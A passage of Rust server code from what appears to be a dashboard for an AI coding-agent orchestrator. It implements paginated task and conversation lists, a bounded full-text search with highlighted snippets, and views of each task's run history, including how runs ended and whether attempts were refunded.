5379            STORE_PAGE_SIZE.min(ids.len())
5380        };
5381        let ids = Arc::new(ids);
5382        walks = ui
5383            .monitor
5384            .list_walks
5385            .lock()
5386            .unwrap_or_else(PoisonError::into_inner);
5387        walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5388        let mut token = crate::rng::entropy();
5389        while walks.iter().any(|walk| walk.token == token) {
5390            token = crate::rng::entropy();
5391        }
5392        // Four clients can enumerate both stores and overlap a refresh. Bound
5393        // retained membership snapshots; an evicted cursor explicitly retries.
5394        if walks.len() >= 16 {
5395            walks.remove(0);
5396        }
5397        walks.push(ListWalk {
5398            token,
5399            talks,
5400            opened: std::time::Instant::now(),
5401            ids: ids.clone(),
5402            initial_end,
5403        });
5404        (token, ids, 0, initial_end)
5405    };
5406    if offset > ids.len() {
5407        return Err(ApiError::bad_request("Invalid list cursor"));
5408    }
5409    let end = if offset == 0 {
5410        initial_end
5411    } else {
5412        offset.saturating_add(STORE_PAGE_SIZE).min(ids.len())
5413    };
5414    let next = (end < ids.len()).then(|| format!("{token}:{end}"));
5415    Ok((ids[offset..end].to_vec(), next))
5416}
5417
5418async fn queue_page(
5419    State(ui): State<Arc<Ui>>,
5420    Query(q): Query<PageQuery>,
5421) -> ApiResult<Json<StorePage<TaskView>>> {
5422    blocking(move || {
5423        let (ids, next) = page_ids(&ui, false, q)?;
5424        let tasks: Vec<_> = ids
5425            .into_iter()
5426            .filter_map(|id| ui.queue.get(&id).ok())
5427            .collect();
5428        let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
5429        let rows = tasks
5430            .into_iter()
5431            .map(|task| TaskView::with_inventory(task, &inv))
5432            .collect();
5433        Ok(Json(StorePage { rows, next }))
5434    })
5435    .await
5436}
5437
5438/// Fixed-size wire projection. Agent timestamps stay in the server index so
5439/// exact unread counts do not require sending an ever-growing turn list.
5440#[derive(Debug, Clone, Serialize)]
5441struct TalkListView {
5442    title: Option<talk::ChatTitle>,
5443    id: String,
5444    repo: PathBuf,
5445    agent: String,
5446    status: talk::TalkStatus,
5447    turns: Vec<TalkListTurn>,
5448    turn_count: usize,
5449    unread_count: usize,
5450    context: talk::ContextUsage,
5451    #[serde(skip)]
5452    agent_times: Vec<Timestamp>,
5453    thinking: bool,
5454    created_at: Timestamp,
5455    updated_at: Timestamp,
5456}
5457
5458#[derive(Debug, Clone, Serialize)]
5459struct TalkListTurn {
5460    who: talk::Who,
5461    at: Timestamp,
5462    body: String,
5463}
5464
5465fn talk_rows(ui: &Ui, ids: Vec<String>, headers: &header::HeaderMap) -> Vec<TalkListView> {
5466    let reads: HashMap<String, Timestamp> = headers
5467        .get("x-talk-reads")
5468        .and_then(|v| v.to_str().ok())
5469        .and_then(|v| serde_json::from_str(v).ok())
5470        .unwrap_or_default();
5471    let mut index = ui
5472        .monitor
5473        .talk_index
5474        .lock()
5475        .unwrap_or_else(PoisonError::into_inner);
5476    // Bound memory independently of the number of conversations ever opened.
5477    if index.len() > 1000 {
5478        let keep: HashSet<&str> = ids.iter().map(String::as_str).collect();
5479        index.retain(|id, (_, row)| keep.contains(id.as_str()) || row.status.open());
5480        if index.len() > 1000 {
5481            index.retain(|id, _| keep.contains(id.as_str()));
5482        }
5483    }
5484    ids.into_iter()
5485        .filter_map(|id| {
5486            let identity = file_identity(&ui.talks.path_of(&id)).ok()?;
5487            if index.get(&id).is_none_or(|(old, _)| *old != identity) {
5488                let talk = ui.talks.get(&id).ok()?;
5489                #[cfg(test)]
5490                ui.monitor
5491                    .talk_parses
5492                    .fetch_add(1, std::sync::atomic::Ordering::Relaxed);
5493                let first = talk.turns.iter().position(|t| t.who == talk::Who::Operator);
5494                let last = talk.turns.len().checked_sub(1);
5495                let turns = talk
5496                    .turns
5497                    .iter()
5498                    .enumerate()
5499                    .filter(|(i, _)| Some(*i) == first || Some(*i) == last)
5500                    .map(|(_, t)| TalkListTurn {
5501                        who: t.who,
5502                        at: t.at,
5503                        body: t
5504                            .body
5505                            .lines()
5506                            .next()
5507                            .unwrap_or_default()
5508                            .chars()
5509                            .take(240)
5510                            .collect(),
5511                    })
5512                    .collect();
5513                let row = TalkListView {
5514                    title: talk.title.clone(),
5515                    agent_times: talk
5516                        .turns
5517                        .iter()
5518                        .filter(|t| t.who == talk::Who::Agent)
5519                        .map(|t| t.at)
5520                        .collect(),
5521                    turn_count: talk.turns.len(),
5522                    unread_count: 0,
5523                    context: talk::context_usage(&talk, None),
5524                    turns,
5525                    thinking: false,
5526                    id: talk.id,
5527                    repo: talk.repo,
5528                    agent: talk.agent,
5529                    status: talk.status,
5530                    created_at: talk.created_at,
5531                    updated_at: talk.updated_at,
5532                };
5533                index.insert(id.clone(), (identity, row));
5534            }
5535            let row = &index.get(&id)?.1;
5536            let mut row = TalkListView {
5537                title: row.title.clone(),
5538                unread_count: row
5539                    .agent_times
5540                    .iter()
5541                    .filter(|at| reads.get(&id).is_none_or(|read| *at > read))
5542                    .count(),
5543                agent_times: Vec::new(),
5544                id: row.id.clone(),
5545                repo: row.repo.clone(),
5546                agent: row.agent.clone(),
5547                status: row.status,
5548                context: row.context.clone(),
5549                turns: row.turns.clone(),
5550                turn_count: row.turn_count,
5551                thinking: false,
5552                created_at: row.created_at,
5553                updated_at: row.updated_at,
5554            };
5555            row.thinking = ui.is_thinking(&id);
5556            Some(row)
5557        })
5558        .collect()
5559}
5560
5561async fn talks_page(
5562    State(ui): State<Arc<Ui>>,
5563    Query(q): Query<PageQuery>,
5564    headers: header::HeaderMap,
5565) -> ApiResult<Json<StorePage<TalkListView>>> {
5566    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
5567        let (ids, next) = page_ids(&ui, true, q)?;
5568        Ok(Json(StorePage {
5569            rows: talk_rows(&ui, ids, &headers),
5570            next,
5571        }))
5572    })
5573    .await
5574}
5575
5576async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
5577    blocking(move || {
5578        let tasks = ui.indexed_tasks()?;
5579        Ok(Json(TaskCountsView::from(
5580            crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
5581        )))
5582    })
5583    .await
5584}
5585
5586/// Most hits one search returns. The rest are counted in `total`.
5587const SEARCH_MAX_HITS: usize = 100;
5588/// Longest query, in characters, and most terms it is split into.
5589const SEARCH_MAX_QUERY: usize = 200;
5590const SEARCH_MAX_TERMS: usize = 8;
5591/// Characters of context kept before the first hit, and after it.
5592const SNIPPET_BEFORE: usize = 50;
5593const SNIPPET_AFTER: usize = 110;
5594
5595/// `?scope=runs|tasks&q=...`
5596#[derive(Debug, Deserialize)]
5597struct SearchQuery {
5598    #[serde(default)]
5599    scope: String,
5600    #[serde(default)]
5601    q: String,
5602}
5603
5604/// One piece of a snippet. `hit` pieces are what matched; the client renders
5605/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
5606#[derive(Debug, Serialize, PartialEq, Eq)]
5607struct SnippetPart {
5608    text: String,
5609    hit: bool,
5610}
5611
5612#[derive(Debug, Serialize)]
5613struct SearchHit {
5614    id: String,
5615    /// The name of the field the snippet was cut from.
5616    field: String,
5617    snippet: Vec<SnippetPart>,
5618    /// The run's list row, so the page can apply its state / section / repo
5619    /// filters to a hit outside the loaded window. Absent for tasks and for a
5620    /// run record the list view cannot read.
5621    #[serde(skip_serializing_if = "Option::is_none")]
5622    run: Option<RunSummary>,
5623}
5624
5625#[derive(Debug, Serialize)]
5626struct SearchView {
5627    scope: String,
5628    q: String,
5629    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
5630    hits: Vec<SearchHit>,
5631    /// Every match, hits beyond the cap included.
5632    total: usize,
5633    truncated: bool,
5634    /// Runs whose `run.json` could not be parsed at all. They were not
5635    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
5636    unreadable: usize,
5637}
5638
5639/// The text leaves of a JSON document, with the name of the field each sits
5640/// under. Keys and numbers are skipped: they are structure, not prose.
5641fn text_leaves<'a>(
5642    value: &'a serde_json::Value,
5643    field: &'a str,
5644    out: &mut Vec<(&'a str, &'a str)>,
5645) {
5646    match value {
5647        serde_json::Value::String(s) => out.push((field, s)),
5648        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
5649        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
5650        _ => {}
5651    }
5652}
5653
5654/// Lower-case one character without changing how many there are, so indices
5655/// in the lowered text are indices in the original.
5656fn fold_char(c: char) -> char {
5657    c.to_lowercase().next().unwrap_or(c)
5658}
5659
5660/// Split a query into its lower-cased terms.
5661fn search_terms(q: &str) -> Vec<String> {
5662    let mut terms: Vec<String> = Vec::new();
5663    for t in q.split_whitespace() {
5664        let t = t.to_lowercase();
5665        if !terms.contains(&t) {
5666            terms.push(t);
5667        }
5668    }
5669    terms
5670}
5671
5672/// Match `terms` (all of them, anywhere in the document) against the leaves
5673/// and cut a snippet around the first hit. `None` when a term is missing.
5674fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
5675    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
5676    let mut first: Option<usize> = None;
5677    for term in terms {
5678        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
5679        first = Some(first.map_or(at, |f| f.min(at)));
5680    }
5681    // The leaf holding the earliest hit of any term is where the snippet is cut.
5682    let (field, text) = leaves[first?];
5683    Some(SearchHit {
5684        id: String::new(),
5685        field: field.to_owned(),
5686        snippet: snippet_of(text, terms),
5687        run: None,
5688    })
5689}
5690
5691/// A window of `text` around the first occurrence of any term, whitespace
5692/// collapsed, with every term occurrence inside the window marked.
5693fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5694    let chars: Vec<char> = text.chars().collect();
5695    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5696    let needles: Vec<Vec<char>> = terms
5697        .iter()
5698        .map(|t| t.chars().map(fold_char).collect())
5699        .collect();
5700    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5701        let mut best: Option<(usize, usize)> = None;
5702        for n in needles.iter().filter(|n| !n.is_empty()) {
5703            // `to` bounds where a match may start; it may run past `to` (the
5704            // caller clips what it shows). A term longer than the field cannot
5705            // occur in it (it may live in another leaf of the document).
5706            if n.len() > chars.len() || to == 0 {
5707                continue;
5708            }
5709            let last = (to - 1).min(chars.len() - n.len());
5710            if from > last {
5711                continue;
5712            }
5713            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
5714                && best.is_none_or(|(b, _)| i < b)
5715            {
5716                best = Some((i, i + n.len()));
5717            }
5718        }
5719        best
5720    };
5721    let Some((start, _)) = find(0, chars.len()) else {
5722        // Matched only through a case mapping that changes length: show the head.
5723        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
5724        return vec![SnippetPart {
5725            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
5726            hit: false,
5727        }];
5728    };
5729    let lo = start.saturating_sub(SNIPPET_BEFORE);
5730    let hi = (start + SNIPPET_AFTER).min(chars.len());
5731    let mut parts: Vec<SnippetPart> = Vec::new();
5732    let mut push = |s: &[char], hit: bool| {
5733        if s.is_empty() {
5734            return;
5735        }
5736        let text: String = s.iter().collect();
5737        match parts.last_mut() {
5738            Some(p) if p.hit == hit => p.text.push_str(&text),
5739            _ => parts.push(SnippetPart { text, hit }),
5740        }
5741    };
5742    if lo > 0 {
5743        push(&['\u{2026}'], false);
5744    }
5745    let mut at = lo;
5746    while at < hi {
5747        match find(at, hi) {
5748            Some((s, e)) => {
5749                push(&chars[at..s], false);
5750                // A match running past the window is shown up to its edge.
5751                let shown = e.min(hi);
5752                push(&chars[s..shown], true);
5753                at = shown;
5754            }
5755            None => {
5756                push(&chars[at..hi], false);
5757                at = hi;
5758            }
5759        }
5760    }
5761    if hi < chars.len() {
5762        push(&['\u{2026}'], false);
5763    }
5764    // Collapse whitespace (newlines in an instruction) without disturbing the
5765    // hit boundaries.
5766    let mut prev_space = false;
5767    for p in &mut parts {
5768        let mut out = String::with_capacity(p.text.len());
5769        for c in p.text.chars() {
5770            if c.is_whitespace() {
5771                if !prev_space {
5772                    out.push(' ');
5773                }
5774                prev_space = true;
5775            } else {
5776                out.push(c);
5777                prev_space = false;
5778            }
5779        }
5780        p.text = out;
5781    }
5782    parts.retain(|p| !p.text.is_empty());
5783    parts
5784}
5785
5786/// The search over `docs` (id, document), newest first, capped.
5787fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
5788where
5789    I: IntoIterator<Item = (String, serde_json::Value)>,
5790{
5791    for (id, doc) in docs {
5792        let mut leaves = Vec::new();
5793        // The id is text an operator types too, and it is a map key on disk,
5794        // not a leaf.
5795        leaves.push(("id", id.as_str()));
5796        text_leaves(&doc, "", &mut leaves);
5797        if let Some(mut hit) = search_document(terms, &leaves) {
5798            view.total += 1;
5799            if view.hits.len() < SEARCH_MAX_HITS {
5800                hit.id = id;
5801                view.hits.push(hit);
5802            }
5803        }
5804    }
5805    view.truncated = view.total > view.hits.len();
5806}
5807
5808/// What a conversation is searched by: its list title and each turn's text,
5809/// under `operator` / `agent` so the snippet says who spoke. Nothing else
5810/// (session ids, repo paths, usage, drafts) is part of the document.
5811///
5812/// Saved titles take precedence; otherwise mirror the opener fallback in `app.js`.
5813fn talk_search_doc(talk: &Talk) -> serde_json::Value {
5814    let opener = talk
5815        .title
5816        .as_ref()
5817        .filter(|t| !t.text.is_empty())
5818        .map(|t| t.text.as_str())
5819        .or_else(|| {
5820            talk.turns
5821                .iter()
5822                .find(|t| t.who == talk::Who::Operator)
5823                .map(|t| t.body.as_str())
5824        })
5825        .and_then(|text| text.lines().map(str::trim).find(|line| !line.is_empty()))
5826        .unwrap_or("");
5827    let title: String = if opener.chars().count() > 96 {
5828        opener.chars().take(95).chain(['\u{2026}']).collect()
5829    } else {
5830        opener.to_owned()
5831    };
5832    let turns: Vec<serde_json::Value> = talk
5833        .turns
5834        .iter()
5835        .map(|t| {
5836            let who = match t.who {
5837                crate::talk::Who::Operator => "operator",
5838                crate::talk::Who::Agent => "agent",
5839            };
5840            serde_json::json!({ who: t.body })
5841        })
5842        .collect();
5843    serde_json::json!({ "title": title, "turns": turns })
5844}
5845
5846/// Read-only full-text search over every run's `run.json`, every task or every
5847/// conversation (title and transcript).
5848///
5849/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
5850/// record from an older schema still searches; only a file that is not JSON
5851/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
5852async fn search_get(
5853    State(ui): State<Arc<Ui>>,
5854    Query(q): Query<SearchQuery>,
5855) -> ApiResult<Json<SearchView>> {
5856    let query = q.q.trim().to_owned();
5857    if query.is_empty() {
5858        return Err(ApiError::bad_request("q must not be empty"));
5859    }
5860    if query.chars().count() > SEARCH_MAX_QUERY {
5861        return Err(ApiError::bad_request(format!(
5862            "q is longer than {SEARCH_MAX_QUERY} characters"
5863        )));
5864    }
5865    let terms = search_terms(&query);
5866    if terms.len() > SEARCH_MAX_TERMS {
5867        return Err(ApiError::bad_request(format!(
5868            "q has more than {SEARCH_MAX_TERMS} terms"
5869        )));
5870    }
5871    let scope = q.scope;
5872    if scope != "runs" && scope != "tasks" && scope != "chats" {
5873        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
5874    }
5875    blocking(move || {
5876        let mut view = SearchView {
5877            scope: scope.clone(),
5878            q: query,
5879            hits: Vec::new(),
5880            total: 0,
5881            truncated: false,
5882            unreadable: 0,
5883        };
5884        if scope == "runs" {
5885            let mut unreadable = 0;
5886            // One run.json is read, matched and dropped at a time; nothing
5887            // holds the whole history. The scan runs to the end even past the
5888            // hit cap so `total` and `unreadable` stay exact.
5889            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
5890                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
5891                match body.and_then(|b| serde_json::from_str(&b).ok()) {
5892                    Some(v) => Some((id, v)),
5893                    None => {
5894                        unreadable += 1;
5895                        None
5896                    }
5897                }
5898            });
5899            search_docs(&terms, docs, &mut view);
5900            view.unreadable = unreadable;
5901            // Only the capped hits get a row: the filters need a run's state,
5902            // and reading every match would be the whole history again.
5903            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
5904            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5905            for hit in &mut view.hits {
5906                if let Ok(state) = read_run(&ui.runs, &hit.id) {
5907                    hit.run = summarize(
5908                        [state],
5909                        &open_runs,
5910                        &claimed,
5911                        &superseded,
5912                        |p| probe.borrow_mut().status(p),
5913                        |p| probe.borrow_mut().started_at(p),
5914                    )
5915                    .pop();
5916                }
5917            }
5918        } else if scope == "chats" {
5919            let (talks, unreadable) = ui.talks.list_counting_unreadable();
5920            view.unreadable = unreadable;
5921            search_docs(
5922                &terms,
5923                talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
5924                &mut view,
5925            );
5926        } else {
5927            let docs = ui.queue.list().into_iter().filter_map(|t| {
5928                let mut v = serde_json::to_value(&t).ok()?;
5929                // `source` serialises as a tagged object; the label is what
5930                // the operator reads ("human", "chat@a1b2").
5931                if let Some(o) = v.as_object_mut() {
5932                    o.insert("filed_by".to_owned(), t.source.label().into());
5933                }
5934                Some((t.id, v))
5935            });
5936            search_docs(&terms, docs, &mut view);
5937        }
5938        Ok(Json(view))
5939    })
5940    .await
5941}
5942
5943/// One attempt in a task's history, as the task page lists it.
5944#[derive(Debug, Serialize)]
5945struct TaskRunView {
5946    activity: Option<String>,
5947    /// 1-based position in [`Task::runs`].
5948    n: usize,
5949    id: String,
5950    short: String,
5951    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
5952    kind: &'static str,
5953    /// The run's own status string; `None` when its record cannot be read.
5954    status: Option<&'static str>,
5955    /// Whether this build could read the run's record. Counted, never hidden.
5956    readable: bool,
5957    /// A verdict from a collapsed panel is provisional, never a decision.
5958    provisional: bool,
5959    /// What kind of attempt this was, in one line.
5960    description: String,
5961    /// How it ended and why the task moved on (or what it is doing now).
5962    outcome: String,
5963    created_at: Option<Timestamp>,
5964    pr: Option<String>,
5965    /// Why this pass ended, classified once; the flowchart is built from it.
5966    exit: RunExit,
5967    /// What the pass did to the task's attempt budget.
5968    attempt: AttemptCost,
5969    /// Edge wording for leaving this entry; names the recorded cause when
5970    /// there is one.
5971    exit_label: String,
5972    /// The position of a later entry for the same run: this entry is an
5973    /// earlier pass of it.
5974    later_pass: Option<usize>,
5975    /// Which pass over the run this entry is (1-based) and how many entries
5976    /// the task lists for the run. Counted from the list, so known even for
5977    /// a legacy record.
5978    pass_n: usize,
5979    passes_of_run: usize,
5980    /// What the run recorded about this pass; `None` for a record from before
5981    /// passes were kept, whose cause stays unknown.
5982    pass: Option<PassView>,
5983    /// The branch a review-only run reopened.
5984    branch: Option<String>,
5985    /// The badge word when it differs from `status` (`stale` / `superseded`);
5986    /// filled by the task route, which can see liveness and later attempts.
5987    badge: Option<String>,
5988}
5989
5990/// One recorded pass over a run, for the wire.
5991#[derive(Debug, Clone, PartialEq, Serialize)]
5992struct PassView {
5993    index: usize,
5994    resumed: bool,
5995    started_at: Timestamp,
5996    ended_at: Option<Timestamp>,
5997    /// `open`, `parked` or `unrecorded`.
5998    end: &'static str,
5999    cause: Option<crate::run::ParkCause>,
6000    /// One line: why it stopped, or that nobody recorded why.
6001    label: String,
6002    /// What the task recorded for this pass; `None` when it was not settled
6003    /// (or settled by a build that kept no record).
6004    cost: Option<crate::queue::PassCost>,
6005}
6006
6007impl PassView {
6008    fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
6009        use crate::run::PassEnd;
6010        let (end, cause, label) = match &p.end {
6011            None => ("open", None, "still open".to_owned()),
6012            Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
6013            Some(PassEnd::Unrecorded) => (
6014                "unrecorded",
6015                None,
6016                "stopped without recording why (a crash, a kill or a restart; not known)"
6017                    .to_owned(),
6018            ),
6019        };
6020        Self {
6021            index: p.index,
6022            resumed: p.resumed,
6023            started_at: p.started_at,
6024            ended_at: p.ended_at,
6025            end,
6026            cause,
6027            label,
6028            cost: settled.map(|t| t.cost),
6029        }
6030    }
6031}
6032
6033/// How one pass over a run ended, as far as the task's life is concerned.
6034#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6035#[serde(rename_all = "snake_case")]
6036enum RunExit {
6037    Unreadable,
6038    /// An earlier pass of a run id that appears again: it stopped short.
6039    Interrupted,
6040    Parked,
6041    MachineBlocked,
6042    QuotaStall,
6043    /// Stalled on a resumed pass with quota losses on record: they may be
6044    /// left over from an earlier pass, so whether this one was refunded is
6045    /// not knowable.
6046    ResumedQuotaStall,
6047    Merged,
6048    Ready,
6049    Superseded,
6050    /// The change was already on the base under other commits: the task
6051    /// finished without this run landing anything.
6052    AlreadyInBase,
6053    /// Stalled without a rate limit to blame: no verdict, attempt spent.
6054    Stalled,
6055    /// Blocked / no-op with a pull request left open: held for a person.
6056    HeldWithPr,
6057    NoopHeld,
6058    /// Blocked or failed: the attempt is spent and the task retries or holds.
6059    Spent,
6060    InProgress,
6061}
6062
6063#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6064#[serde(rename_all = "snake_case")]
6065enum AttemptCost {
6066    Spent,
6067    Refunded,
6068    None,
6069    /// Cannot be told from the records that remain.
6070    Unknown,
6071}
6072
6073impl RunExit {
6074    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
6075        let Some(s) = s else {
6076            return Self::Unreadable;
6077        };
6078        let status = s.status;
6079        if resumed_later {
6080            Self::Interrupted
6081        } else if s.parked {
6082            Self::Parked
6083        } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6084            Self::MachineBlocked
6085        } else if !status.done() {
6086            Self::InProgress
6087        } else if matches!(status, RunStatus::Merged) {
6088            Self::Merged
6089        } else if matches!(status, RunStatus::Ready) {
6090            Self::Ready
6091        } else if matches!(status, RunStatus::Superseded) {
6092            Self::Superseded
6093        } else if matches!(status, RunStatus::AlreadyInBase) {
6094            Self::AlreadyInBase
6095        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6096            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6097        {
6098            if resumed {
6099                Self::ResumedQuotaStall
6100            } else {
6101                Self::QuotaStall
6102            }
6103        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6104            Self::HeldWithPr
6105        } else if matches!(status, RunStatus::VerifiedNoop) {
6106            Self::NoopHeld
6107        } else if matches!(status, RunStatus::Stalled) {
6108            Self::Stalled
6109        } else {
6110            Self::Spent
6111        }
6112    }
6113
6114    fn cost(self) -> AttemptCost {
6115        match self {
6116            Self::Parked | Self::QuotaStall | Self::MachineBlocked => AttemptCost::Refunded,
6117            Self::Merged
6118            | Self::Ready
6119            | Self::Stalled
6120            | Self::HeldWithPr
6121            | Self::NoopHeld
6122            | Self::Spent => AttemptCost::Spent,
6123            Self::InProgress => AttemptCost::None,
6124            Self::AlreadyInBase => AttemptCost::Refunded,
6125            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
6126                AttemptCost::Unknown
6127            }
6128        }
6129    }
6130
6131    /// Short edge wording for leaving a run this way.
6132    fn edge_label(self, status: Option<&str>) -> String {
6133        match self {
6134            Self::Unreadable => "record unreadable".to_owned(),
6135            Self::Interrupted => "interrupted before the run finished".to_owned(),
6136            Self::Parked => "parked, attempt refunded".to_owned(),
6137            Self::MachineBlocked => "machine unavailable, attempt refunded".to_owned(),
6138            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
6139            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
6140            Self::Merged => "merged".to_owned(),
6141            Self::Ready => "ready, not merged".to_owned(),
6142            Self::Superseded => "superseded by a later attempt".to_owned(),
6143            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
6144            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
6145            Self::HeldWithPr => "blocked, PR left open".to_owned(),
6146            Self::NoopHeld => "verified no-op".to_owned(),
6147            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
6148            Self::InProgress => "in progress".to_owned(),
6149        }
6150    }
6151
6152    /// Does a task in `end` follow from a run that ended this way? When not,
6153    /// somebody closed or held the task by hand.
6154    fn explains(self, end: TaskStatus) -> bool {
6155        match self {
6156            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
6157            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
6158            Self::Unreadable | Self::Superseded | Self::Ready => true,
6159            _ => end != TaskStatus::Done,
6160        }
6161    }
6162}
6163
6164/// `GET /api/queue/{id}` - one task with every attempt it went through.
6165#[derive(Debug, Serialize)]
6166struct TaskDetailView {
6167    #[serde(flatten)]
6168    task: TaskView,
6169    /// Task override, or the default daemon budget when inherited.
6170    /// A separate loop's command-line limit is not visible from here.
6171    max_attempts: usize,
6172    history: Vec<TaskRunView>,
6173    /// Entries in `history`: passes over runs, not distinct runs and not
6174    /// attempts consumed (`task.attempts`).
6175    passes_total: usize,
6176    /// Distinct runs those passes belong to.
6177    runs_distinct: usize,
6178    flow: FlowView,
6179    /// Set for a follow-up task; see [`followup_origin`].
6180    followup_origin: Option<FollowUpOrigin>,
6181    /// How many entries of `history` could not be read.
6182    runs_unreadable: usize,
6183    /// Why the attempt count can be lower than the number of runs.
6184    attempts_note: &'static str,
6185}
6186
6187const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
6188and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
6189on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
6190the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
6191
6192/// The branch a review-only run reopened, read off the instruction
6193/// `Runner::open_review` writes.
6194fn review_branch_of(instruction: &str) -> Option<&str> {
6195    let rest = instruction.strip_prefix("Review the work already on branch `")?;
6196    rest.split('`').next().filter(|b| !b.is_empty())
6197}
6198
6199/// Where an entry sits in a task's run list.
6200#[derive(Default)]
6201struct RunSlot<'a> {
6202    /// 1-based position.
6203    n: usize,
6204    /// The same run id appeared earlier: this pass resumed it.
6205    resumed: bool,
6206    /// Position of a later pass over the same run id, if any.
6207    resumed_later: Option<usize>,
6208    /// The previous distinct run and how it ended, for the retry note.
6209    prior: Option<(&'a str, RunStatus)>,
6210    last: bool,
6211    /// This pass as the run recorded it, when it did.
6212    pass: Option<&'a crate::run::RunPass>,
6213    /// What the task recorded when it settled this pass.
6214    settled: Option<&'a crate::queue::TaskPass>,
6215    /// 1-based position among the task's entries for this run, and their count.
6216    pass_n: usize,
6217    passes_of_run: usize,
6218}
6219
6220/// Describe one entry of a task's run list. Pure: everything it needs is on
6221/// the run and the task, so it is asserted without a server.
6222fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
6223    let RunSlot {
6224        n,
6225        resumed,
6226        resumed_later,
6227        prior,
6228        last,
6229        pass,
6230        settled,
6231        pass_n,
6232        passes_of_run,
6233    } = at;
6234    let short = run::short_of(id).to_owned();
6235    let Some(s) = state else {
6236        return TaskRunView {
6237            activity: None,
6238            n,
6239            id: id.to_owned(),
6240            short,
6241            kind: "unknown",
6242            status: None,
6243            readable: false,
6244            provisional: false,
6245            description:
6246                "This run's record could not be read by this build (written by a different \
6247                          magi, or removed), so what kind of attempt it was is unknown."
6248                    .to_owned(),
6249            outcome: String::new(),
6250            created_at: None,
6251            pr: None,
6252            exit: RunExit::Unreadable,
6253            attempt: AttemptCost::Unknown,
6254            exit_label: RunExit::Unreadable.edge_label(None),
6255            later_pass: resumed_later,
6256            pass_n,
6257            passes_of_run,
6258            pass: None,
6259            branch: None,
6260            badge: None,
6261        };
6262    };
6263    let branch = review_branch_of(&s.instruction);
6264    let kind = if resumed {
6265        "resume"
6266    } else if branch.is_some() {
6267        "review"
6268    } else if task.solo || s.candidates.len() == 1 {
6269        "solo"
6270    } else {
6271        "competition"
6272    };
6273    let mut description = match kind {
6274        "resume" => {
6275            format!("Resumed run {short}: the same run carried on instead of competing again.")
6276        }
6277        "review" => format!(
6278            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
6279            branch.unwrap_or_default()
6280        ),
6281        "solo" => "Solo run: one implementer straight into review.".to_owned(),
6282        _ => format!(
6283            "Competition: {} candidates judged blind.",
6284            s.candidates.len().max(1)
6285        ),
6286    };
6287    if !resumed && let Some((p, st)) = prior {
6288        description.push_str(&format!(
6289            " A retry: run {p} before it ended {}.",
6290            st.display_label()
6291        ));
6292    }
6293
6294    let status = s.status;
6295    let provisional = matches!(status, RunStatus::Stalled)
6296        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
6297    let head = if resumed_later.is_some() {
6298        String::new()
6299    } else {
6300        match status {
6301            RunStatus::Merged => "Merged.".to_owned(),
6302            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
6303            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
6304            RunStatus::AlreadyInBase => {
6305                "Already in the base: this change landed under other commits, nothing was left to land."
6306                    .to_owned()
6307            }
6308            RunStatus::Stalled => {
6309                "Stalled: the judging panel never reached a quorum, so there is no verdict."
6310                    .to_owned()
6311            }
6312            RunStatus::Blocked if s.resource_block.is_some() => format!("Blocked: {}.", s.resource_block.as_ref().unwrap().description()),
6313            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
